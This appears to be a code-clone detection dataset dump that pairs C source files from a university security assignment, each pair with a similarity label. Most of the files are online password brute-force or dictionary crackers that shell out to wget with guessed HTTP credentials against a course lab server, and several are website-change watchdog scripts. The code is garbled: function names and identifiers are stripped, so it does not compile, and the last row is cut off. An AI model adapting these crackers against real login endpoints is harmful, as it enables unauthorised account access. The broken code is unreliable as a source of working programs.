F1
stringlengths
5
5
F2
stringlengths
5
5
text_1
stringlengths
474
8.26k
text_2
stringlengths
474
8.26k
label
int64
0
1
008.c
059.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
008.c
043.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
008.c
014.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
008.c
050.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
008.c
016.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
008.c
007.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
008.c
054.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
008.c
021.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
008.c
030.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
008.c
044.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
008.c
051.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
008.c
066.c
